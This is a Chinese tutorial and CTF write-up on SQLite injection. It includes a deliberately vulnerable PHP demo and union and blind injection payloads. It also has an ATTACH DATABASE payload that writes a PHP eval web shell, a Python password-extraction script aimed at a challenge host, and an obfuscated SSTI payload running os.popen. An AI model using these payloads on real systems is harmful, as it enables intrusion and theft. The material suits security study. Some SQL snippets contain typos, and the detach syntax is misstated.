SQLite入门+华为云pyer的分析
最近在一些比赛的题目中见到了sqlite注入,于是来学习一下
SQLite入门
sqlite和mysql等还是有些区别的,sqlite的每一个数据库就是一个文件。
在 Windows 上安装 SQLite
- 请访问 SQLite 下载页面,从 Windows 区下载预编译的二进制文件。
- 您需要下载 sqlite-tools-win32-*.zip 和 sqlite-dll-win32-*.zip 压缩文件。
- 创建文件夹 C:sqlite,并在此文件夹下解压上面两个压缩文件,将得到 sqlite3.def、sqlite3.dll 和 sqlite3.exe 文件。
- 添加 C:sqlite 到 PATH 环境变量,最后在命令提示符下,使用 sqlite3 命令,将显示如下结果。
C:\>sqlite3
SQLite version 3.7.15.2 2013-01-09 11:53:05
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite>
在 Linux 上安装 SQLite
目前,几乎所有版本的 Linux 操作系统都附带 SQLite。所以,只要使用下面的命令来检查您的机器上是否已经安装了 SQLite。
$ sqlite3
SQLite version 3.7.15.2 2013-01-09 11:53:05
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite>
sqlite命令
创建数据库
sqlite3 test.db
这个命令执行后就会在当前目录下生成对应名称的文件,之后的数据操作都是对该文件的操作。
执行这个命令成功创建数据库文件之后,将提供一个 sqlite> 提示符。
数据库成功创建后可以使用 SQLite 的 .databases 命令来检查它是否在数据库列表中
打开数据库
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open sqltest.db
导入导出
# 导出
$sqlite3 testDB.db .dump > testDB.sql
# 导入
$sqlite3 testDB.db < testDB.sql
创建表
语句和mysql差不多
sqlite> create table test(
...> id INT PRIMARY KEY NOT NULL,
...> name char(50) NOT NULL
...> );
查看表
.tables 命令用来列出附加数据库中的所有表。
sqlite> .tables
test
.schema 命令得到表的完整信息:
sqlite> create table test(id INT PREMARY KEY NOT NULL,name char(50) NOT NULL);
值得注意的一点是得到的结果是我们创建表时执行的命令语句,这也是sqlite的特点,之后再说。
插入数据
INSERT INTO 语句用于向数据库的某个表中添加新的数据行。
sqlite> insert into test (id,name) values (1,'alice');
sqlite> insert into test (id,name) values (2,'bob');
查询语句
使用select关键字
sqlite> select * from test
...> ;
1|alice
2|bob
sqlite> select name from test;
alice
bob
如果查询结果格式比较乱,需要设置格式化输出。
- ".header on" 启用表头
- ".mode column" 使用列模式
他保存了执行的sql语句,也是之后注入查询表名列名的关键。
从sqlite_master查表名:
sqlite> select tbl_name from sqlite_master where type='table';
tbl_name
----------
test
获取表名和列名:
sqlite> select sql from sqlite_master where type='table';
sql
----------------------------------------------------------------------------
CREATE TABLE test(
id INT PRIMARY KEY NOT NULL,
name char(50) NOT NULL
)
查看sqlite_master表
sqlite> select * from sqlite_master ;
type name tbl_name rootpage sql
----- ---- -------- -------- ---------------------------------------------------------------------
table test test 2 CREATE TABLE test(id INT PREMARY KEY NOT NULL,name char(50) NOT NULL)
sqlite注入
Demo代码:
数据库数据:
sqlite> create table user_data(
...> id INT PRIMARY KEY NOT NULL,
...> name char(50) NOT NULL,
...> passwd cahr(50) NOT NULL);
sqlite> insert into user_data (id,name,passwd) values (1,'admin','password');
sqlite> insert into user_data (id,name,passwd) values (2,'bob','wowowow');
sqlite> insert into user_data (id,name,passwd) values (3,'flag','flag{test}');
sqlite> select * from user_data;
1|admin|password
2|bob|wowowow
3|flag|flag{test}
页面:
<html>
<body>
<form action="" method="POST">
<input type="text" name="id" size="80">
<input type="submit">
</form>
</body>
</html>
<?php
class MyDB extends SQLite3
{
function __construct()
{
$this->open('user.db');
}
}
$db = new MyDB();
if(!$db){
echo $db->lastErrorMsg();
} else {
echo "Opened database successfully\n</br>";
}
$id = $_POST['id'];
$sql =<<<EOF
SELECT * from user_data where id='$id';
EOF;
$ret = $db->query($sql);
if($ret==FALSE){
echo "Error in fetch ".$db->lastErrorMsg();
}
else{
while($row = $ret->fetchArray(SQLITE3_ASSOC) ){
echo "ID = ". $row['id'] . "</br>";
echo "NAME = ". $row['name'] ."</br>";
echo "PASS = ". $row['passwd'] ."</br>";
}
var_dump($ret->fetchArray(SQLITE3_ASSOC));
}
$db->close();
?>
如果出现一场需要修改配置
extension_dir = "C:/php/php7.0/ext"
extension=php_pdo_sqlite.dll
extension=php_sqlite3.dll
sqlite3.extension_dir = "C:/php/php7.0/ext"
union select 注入和一些查询payload
以上demo正常的功能是输入id查询数据库中数据.
尝试闭合单引号:
闭合语句
使用order by确定查询字段数:
1' order by 3;
1' order by 4;
0' union select 1,2,3;
查版本
查版本。
0' union select 1,2,sqlite_version();
表名和列名
查表名和字段。
0' union select 1,2,sql from sqlite_master;
or
0' union select 1,2,sql from sqlite_master where type='table';
or
0' union select 1,2,sql from sqlite_master where type='table' and name='user_data';
或者:
多条记录时可以使用group_concat聚合或者使用limit
0' union select 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --
或者使用limit来输出一行结果
0' union select 1,2,tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1 --
limit后面接的数字是截取的行数,而offest后面接的数字则为第一次返回结果中的删除数。在上述查询中,limit提取了两个表名,然后第一个被offset删除掉,所以我们获得了第二个表名。
另外可以通过下面的payload获取到格式化过的列名:
0' union select 1,2,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') from sqlite_master where type='table' and name='user_data' --
查数据
查数据
0' union select id,name,passwd from user_data;
使用group_concat连接查询结果
0' union select 1,2,group_concat(passwd) from user_data;
当然,hex,limit,substr等也都可以在注入中用来构造语句。
盲注
和其他注入差不多,列举几个注入payload:
Bool
bool
没有mid、left等函数
select * from test where id =1 union select 1,length(sqlite_version())=6
sqlite> select * from test union select 1,length(sqlite_version())=6;
id name
---------- ----------
1 1
1 alice
2 bob
Run Time: real 0.003 user 0.000115 sys 0.002050
sqlite> select * from test union select 1,length(sqlite_version())=5;
id name
---------- ----------
1 0
1 alice
2 bob
Run Time: real 0.001 user 0.000133 sys 0.000126
select * from test where id=1 and length(sqlite_version())=5;
sqlite> select * from test where id=1 and length(sqlite_version())=5;
Run Time: real 0.001 user 0.000065 sys 0.000493
sqlite> select * from test where id=1 and length(sqlite_version())=6;
id name
---------- ----------
1 alice
Run Time: real 0.001 user 0.000079 sys 0.000115
select * from test where id=1 and substr(sqlite_version(),1,1)='3';
sqlite> select * from test where id=1 and substr(sqlite_version(),1,1)='3';
id name
---------- ----------
1 alice
Run Time: real 0.000 user 0.000067 sys 0.000039
sqlite> select * from test where id=1 and substr(sqlite_version(),1,1)='2';
Run Time: real 0.000 user 0.000054 sys 0.000031
Sleep
sleep
sqlite没有sleep()函数,但是有个函数randomblob(N),作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。
而且sqlite没有if函数,可以使用case来构造条件
select * from test where id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);
sqlite> select * from test where id=1 and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);
Run Time: real 6.195 user 5.804650 sys 0.329666
写shell
写shell依靠sqlite的创建数据库功能。
除了前面提到的 sqlite3 test.db
这种方法还可以通过 ATTACH DATABASE
这种方法来实现。
ATTACH
假设这样一种情况,当在同一时间有多个数据库可用,您想使用其中的任何一个。SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。
附加:
attach [database] filename as database_name;
取消:
attach [database] filename as database_name;
如果目标数据库存在,则会直接使用该数据库进行附加,把数据库文件名称与逻辑数据库 'database_name' 绑定在一起。如果目标不存在,则会先创建该数据库,如果数据库文件路径设置在web目录下,就可以实现写shell的功能。
要实现写shell,需要如下操作:
通过 attach 在目标目录新建一个数据库文件 => 在新数据库创建表。=> 在表中插入payload
在sqlite shell中实现如下:
但是在我的 demo 中测试时发现,并没有创建对应的文件,应该是没有成功执行attach和后面的代码。再去看了下前面的demo代码,发现查询操作使用的是 query 方法,在使用 exec 方法的时候就可以正常利用了。
payload:
';ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); --
pyer
在华为云的题目上有一道叫做pyer的sqlite的题目,复现docker
题目直接给了登录框,一般题目查询数据库的账号密码是否对应有两种方法,一种是where user=username and pass=password
,另一种是先查询username对应的password,再在程序中判断输入的password是否等于查询到的password
经过尝试,这道题是后者,这里有一个小trick,我们可以通过联合查询伪造查询结果
题目给了数据库文件test.db
可以自己调试一下
所以当username输入-1' union select '1
时,那么查询道德password就等于1,那么password输入1就可以登录进去
虽然登录成功,但是因为是guest,并没有什么能干的事。考虑从数据库中注出admin的密码
这道题比较隐晦:根据是否登录成功来进行布尔盲注
sqlite没法用#注释,但是可以通过--
来注释
sqlite中有一个重要的表sqlite_master
,通过这个表来获得表名等信息
为什么这样不能登录?
回答:因为2>1返回了整形的1
sqlite> select password from users where username='-1' union select 2>1;--';
password
--------
1
虽然看起来是1,但是在程序判断的时候'1'!=1
CASE WHEN THEN END
因为直接使用布尔表达式不能直接返回'1'或者'0'所以我们用case语句来获得字符串形式的0和1
首先来了解一下CASE WHEN THEN END的用法
判断when后的表达式,如果bool值为1则返回then的值,如果为0则返回else后的值
盲注
通过(select group_concat(sql) FROM sqlite_master)
可以得到两张表的信息
我们要的是users表中的password信息
于是我们可以通过(select group_concat(password) FROM users)
查询到password
贴出脚本
# -*- coding: utf-8 -*-
import requests
url = 'http://123.57.145.88:8000/login'
s = ''
# ev='(select group_concat(sql) FROM sqlite_master)'
ev='(select group_concat(password) FROM users)'
for i in range(0, 2000):
min = 8
max = 126
while abs(max - min) > 1:
mid = (max + min) // 2
parms = {
'username': f"admin' union select CASE WHEN substr({ev},{str(i)},1)>'{chr(mid)}' THEN '2' ELSE '3' END;--",
'password': "2",
'submit': "登陆",
}
r = requests.request('post',url=url, data=parms,allow_redirects=False)
if 'Redirecting' in r.text:
# print(chr(i),"true")
min = mid
else:
max = mid
s += chr(max)
print(s)
查询到了admin的密码sqlite_not_safe
进去以后发现一个查看留言,有个ssti
然后payload
admin' union select '{% print(a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\56\57\146\154\141\147\56\164\170\164\47\51\56\162\145\141\144\50\51")) %}'; --